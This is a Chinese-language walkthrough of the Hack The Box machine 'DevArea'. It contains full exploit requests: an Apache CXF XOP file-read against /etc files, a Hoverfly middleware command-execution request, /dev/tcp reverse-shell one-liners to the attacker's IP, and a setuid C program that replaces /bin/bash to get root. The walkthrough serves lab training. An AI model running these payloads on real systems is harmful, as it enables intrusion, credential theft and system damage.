DevArea

https://app.hackthebox.com/machines/DevArea

准备工作

  • 从靶场下载VPN连接配置,协议我一般选择TCP 443

  • 通过openvpn连接到目标环境

  • openvpn '/home/kali/Desktop/release_arena_us-release-2.ovpn'

  • 目标靶机:10.129.14.142

  • 当前主机:10.10.17.88

知识点

渗透过程

信息收集

1、使用Nmap对目标进行端口扫描 nmap 10.129.14.142 -sV -T4 -A

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.17.88
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 30 Mar 2026 04:23:31 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 30 Mar 2026 04:23:07 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 30 Mar 2026 04:23:08 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
  • 发现开放了 ftp、ssh以及四个http服务的端口,且ftp存在匿名登陆

  • 对http服务的端口进行访问

  • 经过测试发现 80 端口跳转到URL http://devarea.htb/

  • 8080 为 Jetty:// 9.4.27.v20200227的404页面

  • 8500 为代理服务

  • 8888Hoverfly Dashboard(运行了hoverfly服务)

  • 我们先将 devarea.htp 与靶机ip添加到 /etc/hosts 中 echo -e "10.129.14.142\tdevarea.htb" >> /etc/hosts

  • 再次请求 http://devarea.htb/ 得到一个网页

  • 经过对http服务的探测,没发现什么突破口...

利用ftp匿名登录

  • 使用命令 ftp anonymous@10.129.14.142 登录ftp

  • 使用cd、get 命令进入目录和下载文件,发现存在文件employee-service.jar(过程见下图)

反编译.jar文件

  • 根据获取到的 jar 文件名称来看,功能是与员工相关的服务,所以通过反编译来获取一些信息

  • 使用 jadx 进行反编译,该工具kali不自带,所以需要安装直接 sudo apt install jadx -y 即可

  • 执行命令 jadx-gui 打开图形化,并打开刚才下载的 .jar 文件

  • 在 Source code > htb.devarea > ServerStarter 中发现存在目标地址 http://localhost:8080/employeeservice?wsdl

  • 结合目标开放的8080端口与localhost,我们构造url http://10.129.14.142:8080/employeeservice?wsdl 并请求

  • 通过wsdl提供的接口,与反编译的java代码中一样,在代码中看到该接口使用了 apache.cxf 框架

CVE-2024-28752

  • 在网上搜索,找到 Apache CXF 的漏洞 CVE-2024-28752 ,结合接口构造请求代码

POST /employeeservice HTTP/1.1
Host: 10.129.14.142:8080
Content-Type: multipart/related; boundary=----foo
Content-Length: 627
Connection: close

------foo
Content-Disposition: form-data; name="1"

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:htb="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soap:Body>
      <htb:submitReport>
         <arg0>
            <confidential>false</confidential>
            <content>
               <xop:Include href="file:////etc/systemd/system/hoverfly.service"/>
            </content>
            <department>IT</department>
            <employeeName>Hacker</employeeName>
         </arg0>
      </htb:submitReport>
   </soap:Body>
</soap:Envelope>
------foo--
  • 在前面得知启动了 hoverfly 服务,所以通过file协议读取 .service 的配置信息

  • 由于xop是将二进制处理成base64编码的,所以通过file协议读取到的内容需要解码后获取

  • 在服务的定义文件中看到以明文形式硬编码了 hoverfly 的账户密码

  • username:admin

  • password:O7IJ27MyyXiU

  • 同时读取一下 /etc/passwd 文件,获得目标靶机存在的用户

  • 除root以外,还存在可登录用户 dev_ryan

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

Hoverfly漏洞利用

  • 成功登录,拿到了认证权限,此时可以尝试利用历史存在的命令执行漏洞 CVE-2025-54123

  • 构造请求poc

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: 10.129.14.142:8888
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4OTAzMzQsImlhdCI6MTc3NDg1MDMzNCwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.7nYJAn5F71DgxiCwJXwGIqJhI_KxkmMFZXh0UiNDPMCps0ZfxX1G-neU-cv-mAcZwU1akyv7E_unmXnUIz8l4A
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 56

{
    "binary": "/bin/bash",
    "script": "whoami"
}
  • 获得当前用户 dev_ryan

获取shell

  • 在kali中使用nc命令启用监听 nc -lvnp 4444

  • 构造一个Reverse shell命令 /bin/bash -i >& /dev/tcp/10.10.17.88/4444 0>&1

  • 发送请求即可获取shell

获取user flag

  • 通过 find 命令查找flag相关文件没有找到

  • 最终在 /home/dev_ryan/user.txt 中获得第一个flag

提权

  • 由于nc的shell使用起来很不方便,所以直接给目标靶机写入ssh公钥,使用私钥连接

  • 使用 ssh-keygen -t ed25519 -f ~/.ssh/id_kali -N "" 生成密钥

  • 将 ~/.ssh/id_kali.pub 的所有内容复制到 echo 'id_kali.pub的内容' > /home/dev_ryan/.ssh/authorized_keys 并在目标执行写入

  • 使用命令 ssh -i ~/.ssh/id_kali dev_ryan@devarea.htb 直接ssh登录靶机

使用 linpeas.sh 进行提权辅助

  • 执行 sudo -l 查看无需密码就可以以root权限执行的程序

  • 存在 /opt/syswatch/syswatch.sh

  • linpeas.sh 下载至kali中,在下载目录执行命令 python -m http.server 启动http服务

  • 在目标主机上执行 wget http://10.10.17.88:8000/lin.sh 下载脚本

  • 执行命令 chmod +x ./lin.sh 给脚本赋予执行权限

  • 执行 ./lin.sh 等待检查完毕

  • ...

  • 在检查结果中存在一条 /etc/systemd/system/syswatch-monitor.service 调用 /bin/bash 程序,而在前面信息又得知,syswatch是可以以root权限执行的

  • 查看 /etc/systemd/system/syswatch-monitor.service 配置加以确认

  • 查看 systemctl 发现 syswatch-monitor 在调用中,所以我们可以通过 sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh 触发 /bin/bash

劫持 /bin/bash

  • chown root:root /tmp/bash 设置 /tmp/bash 所有者为root

  • chmod +s /tmp/bash 设置执行 /tmp/bash 时以程序所有者的权限执行

  • 编写shell.c

#include <stdlib.h>
#include <unistd.h>

void main() {
    setuid(0);
    setgid(0);
    system("chown root:root /tmp/bash; chmod +s /tmp/bash");
}
  • 使用 gcc -static -o pwn shell.c 编译

  • 准备两个 bash 备份 cp /bin/bash /tmp/bash.bakcp /bin/bash /tmp/bash 一个用于备份,一个用于赋权

  • !由于ssh使用的bash,所以我们需要建立一个 /bin/sh 连接,以关闭所有bash进程

  • 可以通过bp的重放模块建立 sh 连接 nohup /bin/sh -i >& /dev/tcp/10.10.17.88/9998 0>&1 &

  • 执行 killall -9 bash 关闭所有使用bash的程序(此操作也会断开ssh连接)

  • 再执行 cp pwn /bin/bash 劫持bash

  • 执行命令 sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh 触发 /bin/bash 调用

  • 此时 /tmp/bash 已经可以调用root权限了

  • 执行 cp /tmp/bash.bak /bin/bash 恢复原本的bash功能

获取root flag

  • cd 切换到root目录

  • 查看root.txt 取得最后一个flag

HTB

DevArea has been Pwned